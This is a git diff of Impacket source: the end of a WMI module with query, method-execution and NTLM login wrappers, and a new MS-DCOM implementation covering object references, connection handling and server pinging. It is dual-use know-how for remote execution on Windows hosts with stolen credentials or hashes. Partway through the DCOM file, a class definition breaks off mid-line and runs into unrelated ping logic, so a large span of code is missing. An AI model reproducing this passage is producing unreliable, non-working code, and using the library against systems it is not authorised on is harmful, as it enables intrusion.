lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL): + def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecQuery() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()), self) + + def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecQueryAsync() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecNotificationQuery() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()), self) + + def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecNotificationQueryAsync() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL): + request = IWbemServices_ExecMethod() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['strMethodName']['asData'] = checkNullString(strMethodName) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + if pInParams is NULL: + request['pInParams'] = pInParams + else: + request['pInParams']['ulCntData'] = len(pInParams) + request['pInParams']['abData'] = list(pInParams.getData()) + + request.fields['ppCallResult'] = NULL + if ppOutParams is NULL: + request.fields['ppOutParams'].fields['Data'] = NULL + else: + request['ppOutParams']['ulCntData'] = len(ppOutParams.getData()) + request['ppOutParams']['abData'] = list(ppOutParams.getData()) + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + + def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL): + request = IWbemServices_ExecMethodAsync() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['strMethodName']['asData'] = checkNullString(strMethodName) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + request['pInParams'] = pInParams + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemLevel1Login(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLevel1Login + + def EstablishPosition(self): + request = IWbemLevel1Login_EstablishPosition() + request['reserved1'] = NULL + request['reserved2'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['LocaleVersion'] + + def RequestChallenge(self): + request = IWbemLevel1Login_RequestChallenge() + request['reserved1'] = NULL + request['reserved2'] = NULL + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['reserved3'] + + def WBEMLogin(self): + request = IWbemLevel1Login_WBEMLogin() + request['reserved1'] = NULL + request['reserved2'] = NULL + request['reserved3'] = 0 + request['reserved4'] = NULL + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['reserved5'] + + def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx): + request = IWbemLevel1Login_NTLMLogin() + request['wszNetworkResource'] = checkNullString(wszNetworkResource) + request['wszPreferredLocale'] = checkNullString(wszPreferredLocale) + request['lFlags'] = 0 + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemServices( + INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + +if __name__ == '__main__': + # Example 1 + baseClass = b'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00' + + #encodingUnit = ENCODING_UNIT(baseClass) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + #print "LEN ", len(baseClass), len(encodingUnit) + + #myClass = b"xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00" + #hexdump(myClass) + #encodingUnit = ENCODING_UNIT(myClass) + #print "LEN ", len(myClass), len(encodingUnit) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + + #instanceMyClass = b"xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00" + #encodingUnit = ENCODING_UNIT(instanceMyClass) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py new file mode 100644 index 0000000..f0605cc --- /dev/null +++ b/impacket/dcerpc/v5/dcomrt.py @@ -0,0 +1,1917 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-DCOM] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +# ToDo: +# [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine +# for each call, making it slower. +# [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if +# not used, returning RPC_E_DISCONNECTED +# + +from __future__ import division +from __future__ import print_function +import socket +from struct import pack +from threading import Timer, current_thread + +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \ + UUID, WIDESTR, NULL +from impacket import hresult_errors, LOG +from impacket.uuid import string_to_bin, uuidtup_to_bin, generate +from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \ + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException +from impacket.dcerpc.v5 import transport + +CLSID_ActivationContextInfo = string_to_bin('000001a5-0000-0000-c000-000000000046') +CLSID_ActivationPropertiesIn = string_to_bin('00000338-0000-0000-c000-000000000046') +CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046') +CLSID_CONTEXT_EXTENSION = string_to_bin('00000334-0000-0000-c000-000000000046') +CLSID_ContextMarshaler = string_to_bin('0000033b-0000-0000-c000-000000000046') +CLSID_ERROR_EXTENSION = string_to_bin('0000031c-0000-0000-c000-000000000046') +CLSID_ErrorObject = string_to_bin('0000031b-0000-0000-c000-000000000046') +CLSID_InstanceInfo = string_to_bin('000001ad-0000-0000-c000-000000000046') +CLSID_InstantiationInfo = string_to_bin('000001ab-0000-0000-c000-000000000046') +CLSID_PropsOutInfo = string_to_bin('00000339-0000-0000-c000-000000000046') +CLSID_ScmReplyInfo = string_to_bin('000001b6-0000-0000-c000-000000000046') +CLSID_ScmRequestInfo = string_to_bin('000001aa-0000-0000-c000-000000000046') +CLSID_SecurityInfo = string_to_bin('000001a6-0000-0000-c000-000000000046') +CLSID_ServerLocationInfo = string_to_bin('000001a4-0000-0000-c000-000000000046') +CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046') +IID_IActivation = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0')) +IID_IActivationPropertiesIn = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0')) +IID_IActivationPropertiesOut = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0')) +IID_IContext = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0')) +IID_IObjectExporter = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0')) +IID_IRemoteSCMActivator = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0')) +IID_IRemUnknown = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0')) +IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0')) +IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0')) +IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1 OID +OID = ULONGLONG + +class OID_ARRAY(NDRUniConformantArray): + item = OID + +class POID_ARRAY(NDRPOINTER): + referent = ( + ('Data', OID_ARRAY), + ) + +# 2.2.2 SETID +SETID = ULONGLONG + +# 2.2.4 error_status_t +error_status_t = ULONG + +# 2.2.6 CID +CID = GUID + +# 2.2.7 CLSID +CLSID = GUID + +# 2.2.8 IID +IID = GUID +PIID = PGUID + +# 2.2.9 IPID +IPID = GUID + +# 2.2.10 OXID +OXID = ULONGLONG + +# 2.2.18 OBJREF +FLAGS_OBJREF_STANDARD = 0x00000001 +FLAGS_OBJREF_HANDLER = 0x00000002 +FLAGS_OBJREF_CUSTOM = 0x00000004 +FLAGS_OBJREF_EXTENDED = 0x00000008 + +# 2.2.18.1 STDOBJREF +SORF_NOPING = 0x00001000 + +# 2.2.20 Context +CTXMSHLFLAGS_BYVAL = 0x00000002 + +# 2.2.20.1 PROPMARSHALHEADER +CPFLAG_PROPAGATE = 0x00000001 +CPFLAG_EXPOSE = 0x00000002 +CPFLAG_ENVOY = 0x00000004 + +# 2.2.22.2.1 InstantiationInfoData +ACTVFLAGS_DISABLE_AAA = 0x00000002 +ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004 +ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008 +ACTVFLAGS_NO_FAILURE_LOG = 0x00000020 + +# 2.2.22.2.2 SpecialPropertiesData +SPD_FLAG_USE_CONSOLE_SESSION = 0x00000001 + +# 2.2.28.1 IDL Range Constants +MAX_REQUESTED_INTERFACES = 0x8000 +MAX_REQUESTED_PROTSEQS = 0x8000 +MIN_ACTPROP_LIMIT = 1 +MAX_ACTPROP_LIMIT = 10 + +################################################################################ +# STRUCTURES +################################################################################ +class handle_t(NDRSTRUCT): + structure = ( + ('context_handle_attributes',ULONG), + ('context_handle_uuid',UUID), + ) + + def __init__(self, data=None, isNDR64=False): + NDRSTRUCT.__init__(self, data, isNDR64) + self['context_handle_uuid'] = b'\x00'*16 + + def isNull(self): + return self['context_handle_uuid'] == b'\x00'*16 + +# 2.2.11 COMVERSION +class COMVERSION(NDRSTRUCT): + default_major_version = 5 + default_minor_version = 7 + + structure = ( + ('MajorVersion',USHORT), + ('MinorVersion',USHORT), + ) + + @classmethod + def set_default_version(cls, major_version=None, minor_version=None): + # Set default dcom version for all new COMVERSION objects. + if major_version is not None: + cls.default_major_version = major_version + if minor_version is not None: + cls.default_minor_version = minor_version + + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + if data is None: + self['MajorVersion'] = self.default_major_version + self['MinorVersion'] = self.default_minor_version + +class PCOMVERSION(NDRPOINTER): + referent = ( + ('Data', COMVERSION), + ) + +# 2.2.13.1 ORPC_EXTENT +# This MUST contain an array of bytes that form the extent data. +# The array size MUST be a multiple of 8 for alignment reasons. +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class ORPC_EXTENT(NDRSTRUCT): + structure = ( + ('id',GUID), + ('size',ULONG), + ('data',BYTE_ARRAY), + ) + +# 2.2.13.2 ORPC_EXTENT_ARRAY +# ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons. +class PORPC_EXTENT(NDRPOINTER): + referent = ( + ('Data', ORPC_EXTENT), + ) + +class EXTENT_ARRAY(NDRUniConformantArray): + item = PORPC_EXTENT + +class PEXTENT_ARRAY(NDRPOINTER): + referent = ( + ('Data', EXTENT_ARRAY), + ) + +class ORPC_EXTENT_ARRAY(NDRSTRUCT): + structure = ( + ('size',ULONG), + ('reserved',ULONG), + ('extent',PEXTENT_ARRAY), + ) + +class PORPC_EXTENT_ARRAY(NDRPOINTER): + referent = ( + ('Data', ORPC_EXTENT_ARRAY), + ) + +# 2.2.13.3 ORPCTHIS +class ORPCTHIS(NDRSTRUCT): + structure = ( + ('version',COMVERSION), + ('flags',ULONG), + ('reserved1',ULONG), + ('cid',CID), + ('extensions',PORPC_EXTENT_ARRAY), + ) + +# 2.2.13.4 ORPCTHAT +class ORPCTHAT(NDRSTRUCT): + structure = ( + ('flags',ULONG), + ('extensions',PORPC_EXTENT_ARRAY), + ) + +# 2.2.14 MInterfacePointer +class MInterfacePointer(NDRSTRUCT): + structure = ( + ('ulCntData',ULONG), + ('abData',BYTE_ARRAY), + ) + +# 2.2.15 PMInterfacePointerInternal +class PMInterfacePointerInternal(NDRPOINTER): + referent = ( + ('Data', MInterfacePointer), + ) + +# 2.2.16 PMInterfacePointer +class PMInterfacePointer(NDRPOINTER): + referent = ( + ('Data', MInterfacePointer), + ) + +class PPMInterfacePointer(NDRPOINTER): + referent = ( + ('Data', PMInterfacePointer), + ) + +# 2.2.18 OBJREF +class OBJREF(NDRSTRUCT): + commonHdr = ( + ('signature',ULONG), + ('flags',ULONG), + ('iid',GUID), + ) + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + if data is None: + self['signature'] = 0x574F454D + +# 2.2.18.1 STDOBJREF +class STDOBJREF(NDRSTRUCT): + structure = ( + ('flags',ULONG), + ('cPublicRefs',ULONG), + ('oxid',OXID), + ('oid',OID), + ('ipid',IPID), + ) + +# 2.2.18.4 OBJREF_STANDARD +class OBJREF_STANDARD(OBJREF): + structure = ( + ('std',STDOBJREF), + ('saResAddr',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_STANDARD + +# 2.2.18.5 OBJREF_HANDLER +class OBJREF_HANDLER(OBJREF): + structure = ( + ('std',STDOBJREF), + ('clsid',CLSID), + ('saResAddr',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_HANDLER + +# 2.2.18.6 OBJREF_CUSTOM +class OBJREF_CUSTOM(OBJREF): + structure = ( + ('clsid',CLSID), + ('cbExtension',ULONG), + ('ObjectReferenceSize',ULONG), + ('pObjectData',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_CUSTOM + +# 2.2.18.8 DATAELEMENT +class DATAELEMENT(NDRSTRUCT): + structure = ( + ('dataID',GUID), + ('cbSize',ULONG), + ('cbRounded',ULONG), + ('Data',':'), + ) + +class DUALSTRINGARRAYPACKED(NDRSTRUCT): + structure = ( + ('wNumEntries',USHORT), + ('wSecurityOffset',USHORT), + ('aStringArray',':'), + ) + def getDataLen(self, data, offset=0): + return self['wNumEntries']*2 + +# 2.2.18.7 OBJREF_EXTENDED +class OBJREF_EXTENDED(OBJREF): + structure = ( + ('std',STDOBJREF), + ('Signature1',ULONG), + ('saResAddr',DUALSTRINGARRAYPACKED), + ('nElms',ULONG), + ('Signature2',ULONG), + ('ElmArray',DATAELEMENT), + ) + def __init__(self, data = None, isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_EXTENDED + self['Signature1'] = 0x4E535956 + self['Signature1'] = 0x4E535956 + self['nElms'] = 0x4E535956 + +# 2.2.19 DUALSTRINGARRAY +class USHORT_ARRAY(NDRUniConformantArray): + item = ' 0 or len(deletedOids) > 0: + if 'setid' in DCOMConnection.OID_SET[target]: + setId = DCOMConnection.OID_SET[target]['setid'] + else: + setId = 0 + resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids) + DCOMConnection.OID_SET[target]['oids'] -= deletedOids + DCOMConnection.OID_SET[target]['oids'] |= addedOids + DCOMConnection.OID_SET[target]['setid'] = resp['pSetId'] + else: + objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid']) + except Exception as e: + # There might be exceptions when sending packets + # We should try to continue tho. + LOG.error(str(e)) + pass + + DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer) + try: + DCOMConnection.PINGTIMER.start() + except Exception as e: + if str(e).find('threads can only be started once') < 0: + raise e + + def initTimer(self): + if self.__oxidResolver is True: + if DCOMConnection.PINGTIMER is None: + DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer) + try: + DCOMConnection.PINGTIMER.start() + except Exception as e: + if str(e).find('threads can only be started once') < 0: + raise e + + def initConnection(self): + stringBinding = r'ncacn_ip_tcp:%s' % self.__target + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0: + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, self.__TGT, self.__TGS) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__portmap = rpctransport.get_dce_rpc() + self.__portmap.set_auth_level(self.__authLevel) + if self.__doKerberos is True: + self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__portmap.connect() + DCOMConnection.PORTMAPS[self.__target] = self.__portmap + + def CoCreateInstanceEx(self, clsid, iid): + scm = IRemoteSCMActivator(self.__portmap) + iInterface = scm.RemoteCreateInstance(clsid, iid) + self.initTimer() + return iInterface + + def get_dce_rpc(self): + return DCOMConnection.PORTMAPS[self.__target] + + def disconnect(self): + if DCOMConnection.PINGTIMER is not None: + del(DCOMConnection.PORTMAPS[self.__target]) + del(DCOMConnection.OID_SET[self.__target]) + if len(DCOMConnection.PORTMAPS) == 0: + # This means there are no more clients using this object, kill it + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + if self.__target in INTERFACE.CONNECTIONS: + del(INTERFACE.CONNECTIONS[self.__target][current_thread().name]) + self.__portmap.disconnect() + #print INTERFACE.CONNECTIONS + +class CLASS_INSTANCE: + def __init__(self, ORPCthis, stringBinding): + self.__stringBindings = stringBinding + self.__ORPCthis = ORPCthis + self.__authType = RPC_C_AUTHN_WINNT + self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + def get_ORPCthis(self): + return self.__ORPCthis + def get_string_bindings(self): + return self.__stringBindings + def get_auth_level(self): + if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY: + if self.__authType == RPC_C_AUTHN_WINNT: + return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + else: + return RPC_C_AUTHN_LEVEL_PKT_PRIVACY + return self.__authLevel + def set_auth_level(self, level): + self.__authLevel = level + def get_auth_type(self): + return self.__authType + def set_auth_type(self, authType): + self.__authType = authType + + +class INTERFACE: + # class variable holding the transport connections, organized by target IP + CONNECTIONS = {} + + def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None, + interfaceInstance=None): + if interfaceInstance is not None: + self.__target = interfaceInstance.get_target() + self.__iPid = interfaceInstance.get_iPid() + self.__oid = interfaceInstance.get_oid() + self.__oxid = interfaceInstance.get_oxid() + self.__cinstance = interfaceInstance.get_cinstance() + self.__objRef = interfaceInstance.get_objRef() + self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown() + else: + if target is None: + raise Exception('No target') + self.__target = target + self.__iPid = iPid + self.__oid = oid + self.__oxid = oxid + self.__cinstance = cinstance + self.__objRef = objRef + self.__ipidRemUnknown = ipidRemUnknown + # We gotta check if we have a container inside our connection list, if not, create + if (self.__target in INTERFACE.CONNECTIONS) is not True: + INTERFACE.CONNECTIONS[self.__target] = {} + INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {} + + if objRef is not None: + self.process_interface(objRef) + + def process_interface(self, data): + objRefType = OBJREF(data)['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(data) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(data) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(data) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(data) + else: + LOG.error("Unknown OBJREF Type! 0x%x" % objRefType) + + if objRefType != FLAGS_OBJREF_CUSTOM: + if objRef['std']['flags'] & SORF_NOPING == 0: + DCOMConnection.addOid(self.__target, objRef['std']['oid']) + self.__iPid = objRef['std']['ipid'] + self.__oid = objRef['std']['oid'] + self.__oxid = objRef['std']['oxid'] + if self.__oxid is None: + objRef.dump() + raise Exception('OXID is None') + + def get_oxid(self): + return self.__oxid + + def set_oxid(self, oxid): + self.__oxid = oxid + + def get_oid(self): + return self.__oid + + def set_oid(self, oid): + self.__oid = oid + + def get_target(self): + return self.__target + + def get_iPid(self): + return self.__iPid + + def set_iPid(self, iPid): + self.__iPid = iPid + + def get_objRef(self): + return self.__objRef + + def set_objRef(self, objRef): + self.__objRef = objRef + + def get_ipidRemUnknown(self): + return self.__ipidRemUnknown + + def get_dce_rpc(self): + return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] + + def get_cinstance(self): + return self.__cinstance + + def set_cinstance(self, cinstance): + self.__cinstance = cinstance + + def is_fqdn(self): + # I will assume the following + # If I can't socket.inet_aton() then it's not an IPv4 address + # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be + # an FQDN with ':' + # Is it isn't both, then it is a FQDN + try: + socket.inet_aton(self.__target) + except: + # Not an IPv4 + try: + self.__target.index(':') + except: + # Not an IPv6, it's a FQDN + return True + return False + + def connect(self, iid = None): + if (self.__target in INTERFACE.CONNECTIONS) is True: + if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \ + (self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True: + dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] + currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] + if currentBinding == iid: + # We don't need to alter_ctx + pass + else: + newDce = dce.alter_ctx(iid) + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce + 